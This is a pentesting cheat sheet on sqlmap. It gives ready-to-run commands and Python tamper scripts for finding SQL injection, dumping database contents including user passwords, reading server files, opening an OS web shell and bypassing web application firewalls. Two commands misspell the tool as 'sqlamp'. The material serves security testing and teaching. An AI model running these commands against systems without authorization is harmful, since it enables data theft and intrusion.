SQL Injection with Sqlmap
SQL injection (SQLi) is a code injection technique used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution. This page provides how to inject SQL using sqlmap.
Basic Usage
Using Burp Suite Request File
We can specify a request file which is downloaded from Burp Suite.
In Burp Suite, right-click on the HTTP request header screen, then click Save Item to download the request file. We can use it with SQLmap.
Add the "-r" flag as below.
In addition, we can see payloads to be tested in Burp Suite by setting the Burp proxy IP address to the --proxy
flag.
# --proxy: Set proxy URL e.g. we can inspect requests in BurpSuite by port 8080 (default port for BurpSuite)
sqlmap -u "https://example.com/?q=test" --proxy http://127.0.0.1:8080
Cheat Sheet
Basic
sqlmap -u "https://example.com/?q=test"
# Specific parameter
sqlmap -u "https://example.com/?q=test" -p q
# Header param injection
sqlmap -u "https://example.com/" --headers "X-Forwarded-For: 1*"
# POST body
sqlmap -u "https://example.com/" --data="username=test&password=test"
# Automate
sqlmap -u https://example.com --crawl 2
# Batch mode
sqlmap -u https://example.com --crawl 2 --batch
# Force SSL/TLS (--force-ssl)
sqlmap -u "https://example.com/?q=test" --force-ssl
Specify DBMS (Database Management System)
We can specify DBMS such as mysql
, postgres
, sqlite
to avoid unnecessary attempts.
sqlmap -u "https://example.com/?q=test" --dbms mysql
sqlmap -u "https://example.com/?q=test" --dbms postgres
sqlmap -u "https://example.com/?q=test" --dbms sqlite
Enumerations
# List databases
# --dbs: List databases
sqlmap -u "https://example.com/?q=test" --dbs
# List tables
# -D: Specific name of the database
# --table: List tables
sqlmap -u "https://example.com/?q=test" -D exampledb --tables
# List columns
# -T: Specific name of the table
# --columns: List columns
sqlmap -u "https://example.com/?q=test" -D exampledb -T users --columns
# Get each column value
# -C: Specific name of the column. We can specify single column or multiple columns
sqlmap -u "https://example.com/?q=test" -D exampledb -T users -C username
sqlmap -u "https://example.com/?q=test" -D exampledb -T users -C username,password
# Get current user and database
sqlmap -u "https://example.com/?q=test" --current-user
sqlamp -u "https://example.com/?q=test" --current-db
Dump Entories
We can dump entories by adding --dump
flag.
sqlmap -u "https://example.com/?q=test" --dump
# Specify dbms, database, table
sqlmap -u "https://example.com/?q=test" --dump --dbms mysql -D exampledb -T users
# Dump all entories
sqlmap -u "https://example.com/?q=test" --dump-all
Risk/Level
We can specify the injection risk and level.
-
risk
Risk of tests to perform. Default is 1. Max is 3.
-
level
Level of tests to perform. Default is 1. Max is 5.
Random Agent
Fresh Queries
If the database is modified, we can refresh the states by adding --fresh-queries
.
Injection Techniques
We can specify the injection technique to test by adding --technique
.
# Union attack (U)
sqlmap -u "https://example.com/?q=test" --technique U
# --delay 2: Time delay
sqlmap -u "https://example.com/?q=test" --technique U --delay 2
# Time-based Blind SQLi (T)
sqlmap -u "https://example.com/?q=test" --technique T
# Boolean-based blind injection (B)
sqlmap -u "https://example.com/?q=test" --technique B
Sleep
We can sleep for each injection.
Ignore HTTP response code
We can ignore specific HTTP response (status) code.
# Ignore 401 (Unauthorized)
sqlmap -u "https://example.com/?q=test" --ignore-code 401
# Ignore 500 (Internal Server Error)
sqlmap -u "https://example.com/?q=test" --ignore-code 500
Drop Set-Cookie
We can drop Set-Cookie
from HTTP response headers.
Second Order Attack
Reference: https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap
If the SQL injection affects another URL, we want to customize the second URL.
Method 1. Simply adding the second request
We can add second-url
or second-req
flag in sqlmap
command.
Note that each request file (e.g. req1.txt
, req2.txt
) is downloaded by clicking "save item" in each request in BurpSuite.
# -p: Specify the parameter where payload will be put
sqlmap -u "https://example.com/profile/change" -p email --second-url "https://example.com/dashboard"
sqlmap -r req1.txt -p email --second-req req2.txt
Method 2. Tampering
If we could not achieve with the method 1, it’s worth to create a tamper function.
For example, create tamper.py
with the content below.
#!/usr/bin/env python
import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def change_profile(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"ExampleToken": "abcdef...xyz"}
params = {"username":"tester", "email":payload}
url = "https://example.com/profile/change"
req = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
# If we need to send json param, use `json` attribute instead of `data`.
url = "https://example.com/dashboard"
req = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
change_profile(payload)
return payload
By setting the proxy to http://127.0.0.1:8080
, we can see the requests and the responses in BurpSuite.
After creating, run sqlmap as below.
# Create this file in current directory to avoid error when running sqlmap with tamper
touch __init__.py
sqlmap --tamper tamper.py -r req1.txt -p email --second-req req2.txt --proxy http://127.0.0.1:8080
Integrate with Other Commands
We can set a dynamic value to the parameter by including another command such as curl
as follow:
sqlmap -u """https://example.com/?q=test&token=`curl https://api.example.com/auth -X POST -d "username=admin&password=admin" | awk -F '"' '{print$12}'`"""
Web Shell
Add option "--os-shell" to interact with web shell.
After activating, you may want to upgrade to the full functional shell.
You can do that using reverse shell.
In your local machine,
Then execute the following command in web shell.
Read Files
# --batch: never ask for user input, use the default behavior
sqlmap -r request.txt --file-read "/var/www/html/index.php" --time-sec 10 --batch
sqlmap -r request.txt --file-read "/var/www/<subdomain>/index.php" --time-sec 10 --batch
sqlmap -u "http://<target-ip>/?q=test" --file-read "var/www/html/index.php" --time-sec 10 --batch
Tampering
The sqlmap can be tampered by custom python script e.g. tamper.py or the default library.
To list all tampers, run the following command.
WAF (Web Application Firewall) Bypass
This post explains details for what each module works.
# General
sqlmap -r request.txt --tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,escapequotes,greatest,ifnull2ifisnull,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes
# MSSQL
sqlmap -r request.txt --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2mssqlblank,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes
# MySQL
sqlamp -r request.txt --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
Custom tamper modules (Base64 encode)
We can also create our custom modules.
For instance, we create "tamper.py".
#!/usr/bin/python3
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload, **kwargs):
payload = encodeBase64("%s" % payload, binary=False)
return payload
Then execute sqlmap.
# The tamper is a module, so we need to create __init__.py in the current directory.
touch __init__.py
sqlmap -u "https://example.com/" --cookie "session=*" --tamper=tamper.py
Multiple Requests
#!/usr/bin/python
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
address = "http://vulnerable.com"
password = "test"
def dependencies():
pass
def create_account(payload):
with requests.Session() as s:
data = {"username": payload, "password": password}
resp = s.post(f"{address}/signup", data=data)
def login(payload):
with requests.Session() as s:
data = {"username": payload, "password": password}
resp = s.post(f"{address}/login", data=data)
sessid = s.cookies.get("session", None)
return "session={}".format(sessid)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
create_account(payload)
headers["Cookie"] = login(payload)
return payload
Then run the sqlmap with the tamper option.
sqlmap --tamper tamper.py --url http://vulnerable.com/signup --data "username=admin&password=test" --second-url "http://vulnerable.com/post" --no-cast